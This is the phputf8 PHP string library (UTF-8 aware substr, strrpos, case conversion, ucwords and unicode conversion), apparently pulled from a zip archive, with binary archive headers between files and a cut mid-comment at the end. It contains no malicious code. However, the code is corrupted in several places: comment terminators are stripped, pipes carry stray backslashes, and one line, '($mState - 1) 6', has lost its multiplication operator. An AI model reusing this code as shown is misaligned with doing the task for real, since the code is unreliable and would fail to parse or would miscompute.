//-------------------------------------------------------------------- /* * UTF-8 aware alternative to strrpos * Find position of last occurrence of a char in a string * Note: This will get alot slower if offset is used * Note: requires utf8_substr and utf8_strlen to be loaded * @param string haystack * @param string needle (you should validate this with utf8_is_valid) * @param integer (optional) offset (from left) * @return mixed integer position or FALSE on failure * @see http://www.php.net/strrpos * @see utf8_substr * @see utf8_strlen * @package utf8 / function utf8_strrpos($str, $needle, $offset = NULL) { if ( is_null($offset) ) { $ar = explode($needle, $str); if ( count($ar) > 1 ) { // Pop off the end of the string where the last match was made array_pop($ar); $str = join($needle,$ar); return utf8_strlen($str); } return FALSE; } else { if ( !is_int($offset) ) { trigger_error('utf8_strrpos expects parameter 3 to be long',E_USER_WARNING); return FALSE; } $str = utf8_substr($str, $offset); if ( FALSE !== ( $pos = utf8_strrpos($str, $needle) ) ) { return $pos + $offset; } return FALSE; } } //-------------------------------------------------------------------- /* * UTF-8 aware alternative to substr * Return part of a string given character offset (and optionally length) * * Note arguments: comparied to substr - if offset or length are * not integers, this version will not complain but rather massages them * into an integer. * * Note on returned values: substr documentation states false can be * returned in some cases (e.g. offset > string length) * mb_substr never returns false, it will return an empty string instead. * This adopts the mb_substr approach * * Note on implementation: PCRE only supports repetitions of less than * 65536, in order to accept up to MAXINT values for offset and length, * we'll repeat a group of 65535 characters when needed. * * Note on implementation: calculating the number of characters in the * string is a relatively expensive operation, so we only carry it out when * necessary. It isn't necessary for +ve offsets and no specified length * * @author Chris Smith<chris@jalakai.co.uk> * @param string * @param integer number of UTF-8 characters offset (from left) * @param integer (optional) length in UTF-8 characters from offset * @return mixed string or FALSE if failure * @package utf8 / function utf8_substr($str, $offset, $length = NULL) { // generates E_NOTICE // for PHP4 objects, but not PHP5 objects $str = (string)$str; $offset = (int)$offset; if (!is_null($length)) $length = (int)$length; // handle trivial cases if ($length === 0) return ''; if ($offset < 0 && $length < 0 && $length < $offset) return ''; // normalise negative offsets (we could use a tail // anchored pattern, but they are horribly slow!) if ($offset < 0) { // see notes $strlen = strlen(utf8_decode($str)); $offset = $strlen + $offset; if ($offset < 0) $offset = 0; } $Op = ''; $Lp = ''; // establish a pattern for offset, a // non-captured group equal in length to offset if ($offset > 0) { $Ox = (int)($offset/65535); $Oy = $offset%65535; if ($Ox) { $Op = '(?:.{65535}){'.$Ox.'}'; } $Op = '^(?:'.$Op.'.{'.$Oy.'})'; } else { // offset == 0; just anchor the pattern $Op = '^'; } // establish a pattern for length if (is_null($length)) { // the rest of the string $Lp = '(.)$'; } else { if (!isset($strlen)) { // see notes $strlen = strlen(utf8_decode($str)); } // another trivial case if ($offset > $strlen) return ''; if ($length > 0) { // reduce any length that would // go passed the end of the string $length = min($strlen-$offset, $length); $Lx = (int)( $length / 65535 ); $Ly = $length % 65535; // negative length requires a captured group // of length characters if ($Lx) $Lp = '(?:.{65535}){'.$Lx.'}'; $Lp = '('.$Lp.'.{'.$Ly.'})'; } else if ($length < 0) { if ( $length < ($offset - $strlen) ) { return ''; } $Lx = (int)((-$length)/65535); $Ly = (-$length)%65535; // negative length requires ... capture everything // except a group of -length characters // anchored at the tail-end of the string if ($Lx) $Lp = '(?:.{65535}){'.$Lx.'}'; $Lp = '(.)(?:'.$Lp.'.{'.$Ly.'})$'; } } if (!preg_match( '#'.$Op.$Lp.'#us',$str, $match )) { return ''; } return $match[1]; } //--------------------------------------------------------------- /* * UTF-8 aware alternative to strtolower * Make a string lowercase * Note: The concept of a characters "case" only exists is some alphabets * such as Latin, Greek, Cyrillic, Armenian and archaic Georgian - it does * not exist in the Chinese alphabet, for example. See Unicode Standard * Annex #21: Case Mappings * Note: requires utf8_to_unicode and utf8_from_unicode * @author Andreas Gohr <andi@splitbrain.org> * @param string * @return mixed either string in lowercase or FALSE is UTF-8 invalid * @see http://www.php.net/strtolower * @see utf8_to_unicode * @see utf8_from_unicode * @see http://www.unicode.org/reports/tr21/tr21-5.html * @see http://dev.splitbrain.org/view/darcs/dokuwiki/inc/utf8.php * @package utf8 / function utf8_strtolower($string){ static $UTF8_UPPER_TO_LOWER = NULL; if ( is_null($UTF8_UPPER_TO_LOWER) ) { $UTF8_UPPER_TO_LOWER = array( 0x0041=>0x0061, 0x03A6=>0x03C6, 0x0162=>0x0163, 0x00C5=>0x00E5, 0x0042=>0x0062, 0x0139=>0x013A, 0x00C1=>0x00E1, 0x0141=>0x0142, 0x038E=>0x03CD, 0x0100=>0x0101, 0x0490=>0x0491, 0x0394=>0x03B4, 0x015A=>0x015B, 0x0044=>0x0064, 0x0393=>0x03B3, 0x00D4=>0x00F4, 0x042A=>0x044A, 0x0419=>0x0439, 0x0112=>0x0113, 0x041C=>0x043C, 0x015E=>0x015F, 0x0143=>0x0144, 0x00CE=>0x00EE, 0x040E=>0x045E, 0x042F=>0x044F, 0x039A=>0x03BA, 0x0154=>0x0155, 0x0049=>0x0069, 0x0053=>0x0073, 0x1E1E=>0x1E1F, 0x0134=>0x0135, 0x0427=>0x0447, 0x03A0=>0x03C0, 0x0418=>0x0438, 0x00D3=>0x00F3, 0x0420=>0x0440, 0x0404=>0x0454, 0x0415=>0x0435, 0x0429=>0x0449, 0x014A=>0x014B, 0x0411=>0x0431, 0x0409=>0x0459, 0x1E02=>0x1E03, 0x00D6=>0x00F6, 0x00D9=>0x00F9, 0x004E=>0x006E, 0x0401=>0x0451, 0x03A4=>0x03C4, 0x0423=>0x0443, 0x015C=>0x015D, 0x0403=>0x0453, 0x03A8=>0x03C8, 0x0158=>0x0159, 0x0047=>0x0067, 0x00C4=>0x00E4, 0x0386=>0x03AC, 0x0389=>0x03AE, 0x0166=>0x0167, 0x039E=>0x03BE, 0x0164=>0x0165, 0x0116=>0x0117, 0x0108=>0x0109, 0x0056=>0x0076, 0x00DE=>0x00FE, 0x0156=>0x0157, 0x00DA=>0x00FA, 0x1E60=>0x1E61, 0x1E82=>0x1E83, 0x00C2=>0x00E2, 0x0118=>0x0119, 0x0145=>0x0146, 0x0050=>0x0070, 0x0150=>0x0151, 0x042E=>0x044E, 0x0128=>0x0129, 0x03A7=>0x03C7, 0x013D=>0x013E, 0x0422=>0x0442, 0x005A=>0x007A, 0x0428=>0x0448, 0x03A1=>0x03C1, 0x1E80=>0x1E81, 0x016C=>0x016D, 0x00D5=>0x00F5, 0x0055=>0x0075, 0x0176=>0x0177, 0x00DC=>0x00FC, 0x1E56=>0x1E57, 0x03A3=>0x03C3, 0x041A=>0x043A, 0x004D=>0x006D, 0x016A=>0x016B, 0x0170=>0x0171, 0x0424=>0x0444, 0x00CC=>0x00EC, 0x0168=>0x0169, 0x039F=>0x03BF, 0x004B=>0x006B, 0x00D2=>0x00F2, 0x00C0=>0x00E0, 0x0414=>0x0434, 0x03A9=>0x03C9, 0x1E6A=>0x1E6B, 0x00C3=>0x00E3, 0x042D=>0x044D, 0x0416=>0x0436, 0x01A0=>0x01A1, 0x010C=>0x010D, 0x011C=>0x011D, 0x00D0=>0x00F0, 0x013B=>0x013C, 0x040F=>0x045F, 0x040A=>0x045A, 0x00C8=>0x00E8, 0x03A5=>0x03C5, 0x0046=>0x0066, 0x00DD=>0x00FD, 0x0043=>0x0063, 0x021A=>0x021B, 0x00CA=>0x00EA, 0x0399=>0x03B9, 0x0179=>0x017A, 0x00CF=>0x00EF, 0x01AF=>0x01B0, 0x0045=>0x0065, 0x039B=>0x03BB, 0x0398=>0x03B8, 0x039C=>0x03BC, 0x040C=>0x045C, 0x041F=>0x043F, 0x042C=>0x044C, 0x00DE=>0x00FE, 0x00D0=>0x00F0, 0x1EF2=>0x1EF3, 0x0048=>0x0068, 0x00CB=>0x00EB, 0x0110=>0x0111, 0x0413=>0x0433, 0x012E=>0x012F, 0x00C6=>0x00E6, 0x0058=>0x0078, 0x0160=>0x0161, 0x016E=>0x016F, 0x0391=>0x03B1, 0x0407=>0x0457, 0x0172=>0x0173, 0x0178=>0x00FF, 0x004F=>0x006F, 0x041B=>0x043B, 0x0395=>0x03B5, 0x0425=>0x0445, 0x0120=>0x0121, 0x017D=>0x017E, 0x017B=>0x017C, 0x0396=>0x03B6, 0x0392=>0x03B2, 0x0388=>0x03AD, 0x1E84=>0x1E85, 0x0174=>0x0175, 0x0051=>0x0071, 0x0417=>0x0437, 0x1E0A=>0x1E0B, 0x0147=>0x0148, 0x0104=>0x0105, 0x0408=>0x0458, 0x014C=>0x014D, 0x00CD=>0x00ED, 0x0059=>0x0079, 0x010A=>0x010B, 0x038F=>0x03CE, 0x0052=>0x0072, 0x0410=>0x0430, 0x0405=>0x0455, 0x0402=>0x0452, 0x0126=>0x0127, 0x0136=>0x0137, 0x012A=>0x012B, 0x038A=>0x03AF, 0x042B=>0x044B, 0x004C=>0x006C, 0x0397=>0x03B7, 0x0124=>0x0125, 0x0218=>0x0219, 0x00DB=>0x00FB, 0x011E=>0x011F, 0x041E=>0x043E, 0x1E40=>0x1E41, 0x039D=>0x03BD, 0x0106=>0x0107, 0x03AB=>0x03CB, 0x0426=>0x0446, 0x00DE=>0x00FE, 0x00C7=>0x00E7, 0x03AA=>0x03CA, 0x0421=>0x0441, 0x0412=>0x0432, 0x010E=>0x010F, 0x00D8=>0x00F8, 0x0057=>0x0077, 0x011A=>0x011B, 0x0054=>0x0074, 0x004A=>0x006A, 0x040B=>0x045B, 0x0406=>0x0456, 0x0102=>0x0103, 0x039B=>0x03BB, 0x00D1=>0x00F1, 0x041D=>0x043D, 0x038C=>0x03CC, 0x00C9=>0x00E9, 0x00D0=>0x00F0, 0x0407=>0x0457, 0x0122=>0x0123, ); } $uni = utf8_to_unicode($string); if ( !$uni ) { return FALSE; } $cnt = count($uni); for ($i=0; $i < $cnt; $i++){ if ( isset($UTF8_UPPER_TO_LOWER[$uni[$i]]) ) { $uni[$i] = $UTF8_UPPER_TO_LOWER[$uni[$i]]; } } return utf8_from_unicode($uni); } //--------------------------------------------------------------- /* * UTF-8 aware alternative to strtoupper * Make a string uppercase * Note: The concept of a characters "case" only exists is some alphabets * such as Latin, Greek, Cyrillic, Armenian and archaic Georgian - it does * not exist in the Chinese alphabet, for example. See Unicode Standard * Annex #21: Case Mappings * Note: requires utf8_to_unicode and utf8_from_unicode * @author Andreas Gohr <andi@splitbrain.org> * @param string * @return mixed either string in lowercase or FALSE is UTF-8 invalid * @see http://www.php.net/strtoupper * @see utf8_to_unicode * @see utf8_from_unicode * @see http://www.unicode.org/reports/tr21/tr21-5.html * @see http://dev.splitbrain.org/view/darcs/dokuwiki/inc/utf8.php * @package utf8 / function utf8_strtoupper($string){ static $UTF8_LOWER_TO_UPPER = NULL; if ( is_null($UTF8_LOWER_TO_UPPER) ) { $UTF8_LOWER_TO_UPPER = array( 0x0061=>0x0041, 0x03C6=>0x03A6, 0x0163=>0x0162, 0x00E5=>0x00C5, 0x0062=>0x0042, 0x013A=>0x0139, 0x00E1=>0x00C1, 0x0142=>0x0141, 0x03CD=>0x038E, 0x0101=>0x0100, 0x0491=>0x0490, 0x03B4=>0x0394, 0x015B=>0x015A, 0x0064=>0x0044, 0x03B3=>0x0393, 0x00F4=>0x00D4, 0x044A=>0x042A, 0x0439=>0x0419, 0x0113=>0x0112, 0x043C=>0x041C, 0x015F=>0x015E, 0x0144=>0x0143, 0x00EE=>0x00CE, 0x045E=>0x040E, 0x044F=>0x042F, 0x03BA=>0x039A, 0x0155=>0x0154, 0x0069=>0x0049, 0x0073=>0x0053, 0x1E1F=>0x1E1E, 0x0135=>0x0134, 0x0447=>0x0427, 0x03C0=>0x03A0, 0x0438=>0x0418, 0x00F3=>0x00D3, 0x0440=>0x0420, 0x0454=>0x0404, 0x0435=>0x0415, 0x0449=>0x0429, 0x014B=>0x014A, 0x0431=>0x0411, 0x0459=>0x0409, 0x1E03=>0x1E02, 0x00F6=>0x00D6, 0x00F9=>0x00D9, 0x006E=>0x004E, 0x0451=>0x0401, 0x03C4=>0x03A4, 0x0443=>0x0423, 0x015D=>0x015C, 0x0453=>0x0403, 0x03C8=>0x03A8, 0x0159=>0x0158, 0x0067=>0x0047, 0x00E4=>0x00C4, 0x03AC=>0x0386, 0x03AE=>0x0389, 0x0167=>0x0166, 0x03BE=>0x039E, 0x0165=>0x0164, 0x0117=>0x0116, 0x0109=>0x0108, 0x0076=>0x0056, 0x00FE=>0x00DE, 0x0157=>0x0156, 0x00FA=>0x00DA, 0x1E61=>0x1E60, 0x1E83=>0x1E82, 0x00E2=>0x00C2, 0x0119=>0x0118, 0x0146=>0x0145, 0x0070=>0x0050, 0x0151=>0x0150, 0x044E=>0x042E, 0x0129=>0x0128, 0x03C7=>0x03A7, 0x013E=>0x013D, 0x0442=>0x0422, 0x007A=>0x005A, 0x0448=>0x0428, 0x03C1=>0x03A1, 0x1E81=>0x1E80, 0x016D=>0x016C, 0x00F5=>0x00D5, 0x0075=>0x0055, 0x0177=>0x0176, 0x00FC=>0x00DC, 0x1E57=>0x1E56, 0x03C3=>0x03A3, 0x043A=>0x041A, 0x006D=>0x004D, 0x016B=>0x016A, 0x0171=>0x0170, 0x0444=>0x0424, 0x00EC=>0x00CC, 0x0169=>0x0168, 0x03BF=>0x039F, 0x006B=>0x004B, 0x00F2=>0x00D2, 0x00E0=>0x00C0, 0x0434=>0x0414, 0x03C9=>0x03A9, 0x1E6B=>0x1E6A, 0x00E3=>0x00C3, 0x044D=>0x042D, 0x0436=>0x0416, 0x01A1=>0x01A0, 0x010D=>0x010C, 0x011D=>0x011C, 0x00F0=>0x00D0, 0x013C=>0x013B, 0x045F=>0x040F, 0x045A=>0x040A, 0x00E8=>0x00C8, 0x03C5=>0x03A5, 0x0066=>0x0046, 0x00FD=>0x00DD, 0x0063=>0x0043, 0x021B=>0x021A, 0x00EA=>0x00CA, 0x03B9=>0x0399, 0x017A=>0x0179, 0x00EF=>0x00CF, 0x01B0=>0x01AF, 0x0065=>0x0045, 0x03BB=>0x039B, 0x03B8=>0x0398, 0x03BC=>0x039C, 0x045C=>0x040C, 0x043F=>0x041F, 0x044C=>0x042C, 0x00FE=>0x00DE, 0x00F0=>0x00D0, 0x1EF3=>0x1EF2, 0x0068=>0x0048, 0x00EB=>0x00CB, 0x0111=>0x0110, 0x0433=>0x0413, 0x012F=>0x012E, 0x00E6=>0x00C6, 0x0078=>0x0058, 0x0161=>0x0160, 0x016F=>0x016E, 0x03B1=>0x0391, 0x0457=>0x0407, 0x0173=>0x0172, 0x00FF=>0x0178, 0x006F=>0x004F, 0x043B=>0x041B, 0x03B5=>0x0395, 0x0445=>0x0425, 0x0121=>0x0120, 0x017E=>0x017D, 0x017C=>0x017B, 0x03B6=>0x0396, 0x03B2=>0x0392, 0x03AD=>0x0388, 0x1E85=>0x1E84, 0x0175=>0x0174, 0x0071=>0x0051, 0x0437=>0x0417, 0x1E0B=>0x1E0A, 0x0148=>0x0147, 0x0105=>0x0104, 0x0458=>0x0408, 0x014D=>0x014C, 0x00ED=>0x00CD, 0x0079=>0x0059, 0x010B=>0x010A, 0x03CE=>0x038F, 0x0072=>0x0052, 0x0430=>0x0410, 0x0455=>0x0405, 0x0452=>0x0402, 0x0127=>0x0126, 0x0137=>0x0136, 0x012B=>0x012A, 0x03AF=>0x038A, 0x044B=>0x042B, 0x006C=>0x004C, 0x03B7=>0x0397, 0x0125=>0x0124, 0x0219=>0x0218, 0x00FB=>0x00DB, 0x011F=>0x011E, 0x043E=>0x041E, 0x1E41=>0x1E40, 0x03BD=>0x039D, 0x0107=>0x0106, 0x03CB=>0x03AB, 0x0446=>0x0426, 0x00FE=>0x00DE, 0x00E7=>0x00C7, 0x03CA=>0x03AA, 0x0441=>0x0421, 0x0432=>0x0412, 0x010F=>0x010E, 0x00F8=>0x00D8, 0x0077=>0x0057, 0x011B=>0x011A, 0x0074=>0x0054, 0x006A=>0x004A, 0x045B=>0x040B, 0x0456=>0x0406, 0x0103=>0x0102, 0x03BB=>0x039B, 0x00F1=>0x00D1, 0x043D=>0x041D, 0x03CC=>0x038C, 0x00E9=>0x00C9, 0x00F0=>0x00D0, 0x0457=>0x0407, 0x0123=>0x0122, ); } $uni = utf8_to_unicode($string); if ( !$uni ) { return FALSE; } $cnt = count($uni); for ($i=0; $i < $cnt; $i++){ if( isset($UTF8_LOWER_TO_UPPER[$uni[$i]]) ) { $uni[$i] = $UTF8_LOWER_TO_UPPER[$uni[$i]]; } } return utf8_from_unicode($uni); } PK��AD�\��(��src/phputf8/mbstring/core.phpnu��[��<?php /* * @package utf8 / /* * Define UTF8_CORE as required / if ( !defined('UTF8_CORE') ) { define('UTF8_CORE',TRUE); } //-------------------------------------------------------------------- /* * Wrapper round mb_strlen * Assumes you have mb_internal_encoding to UTF-8 already * Note: this function does not count bad bytes in the string - these * are simply ignored * @param string UTF-8 string * @return int number of UTF-8 characters in string * @package utf8 / function utf8_strlen($str){ return mb_strlen($str); } //-------------------------------------------------------------------- /* * Assumes mbstring internal encoding is set to UTF-8 * Wrapper around mb_strpos * Find position of first occurrence of a string * @param string haystack * @param string needle (you should validate this with utf8_is_valid) * @param integer offset in characters (from left) * @return mixed integer position or FALSE on failure * @package utf8 / function utf8_strpos($str, $search, $offset = FALSE){ if ( $offset === FALSE ) { return mb_strpos($str, $search); } else { return mb_strpos($str, $search, $offset); } } //-------------------------------------------------------------------- /* * Assumes mbstring internal encoding is set to UTF-8 * Wrapper around mb_strrpos * Find position of last occurrence of a char in a string * @param string haystack * @param string needle (you should validate this with utf8_is_valid) * @param integer (optional) offset (from left) * @return mixed integer position or FALSE on failure * @package utf8 / function utf8_strrpos($str, $search, $offset = FALSE){ if ( $offset === FALSE ) { # Emulate behaviour of strrpos rather than raising warning if ( empty($str) ) { return FALSE; } return mb_strrpos($str, $search); } else { if ( !is_int($offset) ) { trigger_error('utf8_strrpos expects parameter 3 to be long',E_USER_WARNING); return FALSE; } $str = mb_substr($str, $offset); if ( FALSE !== ( $pos = mb_strrpos($str, $search) ) ) { return $pos + $offset; } return FALSE; } } //-------------------------------------------------------------------- /* * Assumes mbstring internal encoding is set to UTF-8 * Wrapper around mb_substr * Return part of a string given character offset (and optionally length) * @param string * @param integer number of UTF-8 characters offset (from left) * @param integer (optional) length in UTF-8 characters from offset * @return mixed string or FALSE if failure * @package utf8 / function utf8_substr($str, $offset, $length = FALSE){ if ( $length === FALSE ) { return mb_substr($str, $offset); } else { return mb_substr($str, $offset, $length); } } //-------------------------------------------------------------------- /* * Assumes mbstring internal encoding is set to UTF-8 * Wrapper around mb_strtolower * Make a string lowercase * Note: The concept of a characters "case" only exists is some alphabets * such as Latin, Greek, Cyrillic, Armenian and archaic Georgian - it does * not exist in the Chinese alphabet, for example. See Unicode Standard * Annex #21: Case Mappings * @param string * @return mixed either string in lowercase or FALSE is UTF-8 invalid * @package utf8 / function utf8_strtolower($str){ return mb_strtolower($str); } //-------------------------------------------------------------------- /* * Assumes mbstring internal encoding is set to UTF-8 * Wrapper around mb_strtoupper * Make a string uppercase * Note: The concept of a characters "case" only exists is some alphabets * such as Latin, Greek, Cyrillic, Armenian and archaic Georgian - it does * not exist in the Chinese alphabet, for example. See Unicode Standard * Annex #21: Case Mappings * @param string * @return mixed either string in lowercase or FALSE is UTF-8 invalid * @package utf8 / function utf8_strtoupper($str){ return mb_strtoupper($str); } PK��AD�\��ռ �� src/phputf8/utf8.phpnu��[��<?php /* * This is the dynamic loader for the library. It checks whether you have * the mbstring extension available and includes relevant files * on that basis, falling back to the native (as in written in PHP) version * if mbstring is unavailabe. * * It's probably easiest to use this, if you don't want to understand * the dependencies involved, in conjunction with PHP versions etc. At * the same time, you might get better performance by managing loading * yourself. The smartest way to do this, bearing in mind performance, * is probably to "load on demand" - i.e. just before you use these * functions in your code, load the version you need. * * It makes sure the the following functions are available; * utf8_strlen, utf8_strpos, utf8_strrpos, utf8_substr, * utf8_strtolower, utf8_strtoupper * Other functions in the ./native directory depend on these * six functions being available * @package utf8 / /* * Put the current directory in this constant / if ( !defined('UTF8') ) { define('UTF8',dirname(__FILE__)); } /* * If string overloading is active, it will break many of the * native implementations. mbstring.func_overload must be set * to 0, 1 or 4 in php.ini (string overloading disabled). * Also need to check we have the correct internal mbstring * encoding / if ( extension_loaded('mbstring')) { / * Joomla modification - As of PHP 8, the `mbstring.func_overload` configuration has been removed and the * MB_OVERLOAD_STRING constant will no longer be present, so this check only runs for PHP 7 and older * See https://github.com/php/php-src/commit/331e56ce38a91e87a6fb8e88154bb5bde445b132 * and https://github.com/php/php-src/commit/97df99a6d7d96a886ac143337fecad775907589a * for additional references / if ( PHP_VERSION_ID < 80000 && ((int) ini_get('mbstring.func_overload')) & MB_OVERLOAD_STRING ) { trigger_error('String functions are overloaded by mbstring',E_USER_ERROR); } mb_internal_encoding('UTF-8'); } /* * Check whether PCRE has been compiled with UTF-8 support / $UTF8_ar = array(); if ( preg_match('/^.{1}$/u',"ñ",$UTF8_ar) != 1 ) { trigger_error('PCRE is not compiled with UTF-8 support',E_USER_ERROR); } unset($UTF8_ar); /* * Load the smartest implementations of utf8_strpos, utf8_strrpos * and utf8_substr / if ( !defined('UTF8_CORE') ) { if ( function_exists('mb_substr') ) { require_once UTF8 . '/mbstring/core.php'; } else { require_once UTF8 . '/utils/unicode.php'; require_once UTF8 . '/native/core.php'; } } /* * Load the native implementation of utf8_substr_replace / require_once UTF8 . '/substr_replace.php'; /* * You should now be able to use all the other utf_* string functions / PK��AD�\O�y�t��t��src/phputf8/ucwords.phpnu��[��<?php /* * @package utf8 / //--------------------------------------------------------------- /* * UTF-8 aware alternative to ucwords * Uppercase the first character of each word in a string * Note: requires utf8_substr_replace and utf8_strtoupper * @param string * @return string with first char of each word uppercase * @see http://www.php.net/ucwords * @package utf8 / function utf8_ucwords($str) { // Note: [\x0c\x09\x0b\x0a\x0d\x20] matches; // form feeds, horizontal tabs, vertical tabs, linefeeds and carriage returns // This corresponds to the definition of a "word" defined at http://www.php.net/ucwords $pattern = '/(^\|([\x0c\x09\x0b\x0a\x0d\x20]+))([^\x0c\x09\x0b\x0a\x0d\x20]{1})[^\x0c\x09\x0b\x0a\x0d\x20]/u'; return preg_replace_callback($pattern, 'utf8_ucwords_callback',$str); } //--------------------------------------------------------------- /** * Callback function for preg_replace_callback call in utf8_ucwords * You don't need to call this yourself * @param array of matches corresponding to a single word * @return string with first char of the word in uppercase * @see utf8_ucwords * @see utf8_strtoupper * @package utf8 / function utf8_ucwords_callback($matches) { $leadingws = $matches[2]; $ucfirst = utf8_strtoupper($matches[3]); $ucword = utf8_substr_replace(ltrim($matches[0]),$ucfirst,0,1); return $leadingws . $ucword; } PK��AD�\4�/%��/%��src/phputf8/utils/unicode.phpnu��[��<?php /* * Tools for conversion between UTF-8 and unicode * The Original Code is Mozilla Communicator client code. * The Initial Developer of the Original Code is * Netscape Communications Corporation. * Portions created by the Initial Developer are Copyright (C) 1998 * the Initial Developer. All Rights Reserved. * Ported to PHP by Henri Sivonen (http://hsivonen.iki.fi) * Slight modifications to fit with phputf8 library by Harry Fuecks (hfuecks gmail com) * @see http://lxr.mozilla.org/seamonkey/source/intl/uconv/src/nsUTF8ToUnicode.cpp * @see http://lxr.mozilla.org/seamonkey/source/intl/uconv/src/nsUnicodeToUTF8.cpp * @see http://hsivonen.iki.fi/php-utf8/ * @package utf8 / //-------------------------------------------------------------------- /* * Takes an UTF-8 string and returns an array of ints representing the * Unicode characters. Astral planes are supported ie. the ints in the * output can be > 0xFFFF. Occurrances of the BOM are ignored. Surrogates * are not allowed. * Returns false if the input string isn't a valid UTF-8 octet sequence * and raises a PHP error at level E_USER_WARNING * Note: this function has been modified slightly in this library to * trigger errors on encountering bad bytes * * Joomla modification - As of PHP 7.4, curly brace access has been deprecated. As a result this function has been * modified to use square brace syntax * See https://github.com/php/php-src/commit/d574df63dc375f5fc9202ce5afde23f866b6450a * for additional references * * @author <hsivonen@iki.fi> * @param string UTF-8 encoded string * @return mixed array of unicode code points or FALSE if UTF-8 invalid * @see utf8_from_unicode * @see http://hsivonen.iki.fi/php-utf8/ * @package utf8 / function utf8_to_unicode($str) { $mState = 0; // cached expected number of octets after the current octet // until the beginning of the next UTF8 character sequence $mUcs4 = 0; // cached Unicode character $mBytes = 1; // cached expected number of octets in the current sequence $out = array(); $len = strlen($str); for($i = 0; $i < $len; $i++) { $in = ord($str[$i]); if ( $mState == 0) { // When mState is zero we expect either a US-ASCII character or a // multi-octet sequence. if (0 == (0x80 & ($in))) { // US-ASCII, pass straight through. $out[] = $in; $mBytes = 1; } else if (0xC0 == (0xE0 & ($in))) { // First octet of 2 octet sequence $mUcs4 = ($in); $mUcs4 = ($mUcs4 & 0x1F) << 6; $mState = 1; $mBytes = 2; } else if (0xE0 == (0xF0 & ($in))) { // First octet of 3 octet sequence $mUcs4 = ($in); $mUcs4 = ($mUcs4 & 0x0F) << 12; $mState = 2; $mBytes = 3; } else if (0xF0 == (0xF8 & ($in))) { // First octet of 4 octet sequence $mUcs4 = ($in); $mUcs4 = ($mUcs4 & 0x07) << 18; $mState = 3; $mBytes = 4; } else if (0xF8 == (0xFC & ($in))) { / First octet of 5 octet sequence. * * This is illegal because the encoded codepoint must be either * (a) not the shortest form or * (b) outside the Unicode range of 0-0x10FFFF. * Rather than trying to resynchronize, we will carry on until the end * of the sequence and let the later error handling code catch it. / $mUcs4 = ($in); $mUcs4 = ($mUcs4 & 0x03) << 24; $mState = 4; $mBytes = 5; } else if (0xFC == (0xFE & ($in))) { // First octet of 6 octet sequence, see comments for 5 octet sequence. $mUcs4 = ($in); $mUcs4 = ($mUcs4 & 1) << 30; $mState = 5; $mBytes = 6; } else { / Current octet is neither in the US-ASCII range nor a legal first * octet of a multi-octet sequence. / trigger_error( 'utf8_to_unicode: Illegal sequence identifier '. 'in UTF-8 at byte '.$i, E_USER_WARNING ); return FALSE; } } else { // When mState is non-zero, we expect a continuation of the multi-octet // sequence if (0x80 == (0xC0 & ($in))) { // Legal continuation. $shift = ($mState - 1) 6; $tmp = $in; $tmp = ($tmp & 0x0000003F) << $shift; $mUcs4 \|= $tmp; /** * End of the multi-octet sequence. mUcs4 now contains the final * Unicode codepoint to be output / if (0 == --$mState) { / * Check for illegal sequences and codepoints. / // From Unicode 3.1, non-shortest form is illegal if (((2 == $mBytes) && ($mUcs4 < 0x0080)) \|\| ((3 == $mBytes) && ($mUcs4 < 0x0800)) \|\| ((4 == $mBytes) && ($mUcs4 < 0x10000)) \|\| (4 < $mBytes) \|\| // From Unicode 3.2, surrogate characters are illegal (($mUcs4 & 0xFFFFF800) == 0xD800) \|\| // Codepoints outside the Unicode range are illegal ($mUcs4 > 0x10FFFF)) { trigger_error( 'utf8_to_unicode: Illegal sequence or codepoint '. 'in UTF-8 at byte '.$i, E_USER_WARNING ); return FALSE; } if (0xFEFF != $mUcs4) { // BOM is legal but we don't want to output it $out[] = $mUcs4; } //initialize UTF8 cache $mState = 0; $mUcs4 = 0; $mBytes = 1; } } else { /* ((0xC0 & (in) != 0x80) && (mState != 0)) * Incomplete multi-octet sequence. / trigger_error( 'utf8_to_unicode: Incomplete multi-octet '. ' sequence in UTF-8 at byte '.$i, E_USER_WARNING ); return FALSE; } } } return $out; } //-------------------------------------------------------------------- /* * Takes an array of ints representing the Unicode characters and returns * a UTF-8 string. Astral planes are supported ie. the ints in the * input can be > 0xFFFF. Occurrances of the BOM are ignored. Surrogates * are not allowed. * Returns false if the input array contains ints that represent * surrogates or are outside the Unicode range * and raises a PHP error at level E_USER_WARNING * Note: this function has been modified slightly in this library to use * output buffering to concatenate the UTF-8 string (faster) as well as * reference the array by it's keys * @param array of unicode code points representing a string * @return mixed UTF-8 string or FALSE if array contains invalid code points * @author <hsivonen@iki.fi> * @see utf8_to_unicode * @see http://hsivonen.iki.fi/php-utf8/ * @package utf8 / function utf8_from_unicode($arr) { ob_start(); foreach (array_keys($arr) as $k) { # ASCII range (including control chars) if ( ($arr[$k] >= 0) && ($arr[$k] <= 0x007f) ) { echo chr($arr[$k]); # 2 byte sequence } else if ($arr[$k] <= 0x07ff) { echo chr(0xc0 \| ($arr[$k] >> 6)); echo chr(0x80 \| ($arr[$k] & 0x003f)); # Byte order mark (skip) } else if($arr[$k] == 0xFEFF) { // nop -- zap the BOM # Test for illegal surrogates } else if ($arr[$k] >= 0xD800 && $arr[$k] <= 0xDFFF) { // found a surrogate trigger_error( 'utf8_from_unicode: Illegal surrogate '. 'at index: '.$k.', value: '.$arr[$k], E_USER_WARNING ); return FALSE; # 3 byte sequence } else if ($arr[$k] <= 0xffff) { echo chr(0xe0 \| ($arr[$k] >> 12)); echo chr(0x80 \| (($arr[$k] >> 6) & 0x003f)); echo chr(0x80 \| ($arr[$k] & 0x003f)); # 4 byte sequence } else if ($arr[$k] <= 0x10ffff) { echo chr(0xf0 \| ($arr[$k] >> 18)); echo chr(0x80 \| (($arr[$k] >> 12) & 0x3f)); echo chr(0x80 \| (($arr[$k] >> 6) & 0x3f)); echo chr(0x80 \| ($arr[$k] & 0x3f)); } else { trigger_error( 'utf8_from_unicode: Codepoint out of Unicode range '. 'at index: '.$k.', value: '.$arr[$k], E_USER_WARNING ); // out of range return FALSE; } } $result = ob_get_contents(); ob_end_clean(); return $result; } PK��AD�\��K�� src/phputf8/utils/validation.phpnu��[��<?php /* * Tools for validing a UTF-8 string is well formed. * The Original Code is Mozilla Communicator client code. * The Initial Developer of the Original Code is * Netscape Communications Corporation. * Portions created by the Initial Developer are Copyright (C) 1998 * the Initial Developer. All Rights Reserved. * Ported to PHP by Henri Sivonen (http://hsivonen.iki.fi) * Slight modifications to fit with phputf8 library by Harry Fuecks (hfuecks gmail com) * @see http://lxr.mozilla.org/seamonkey/source/intl/uconv/src/nsUTF8ToUnicode.cpp * @see 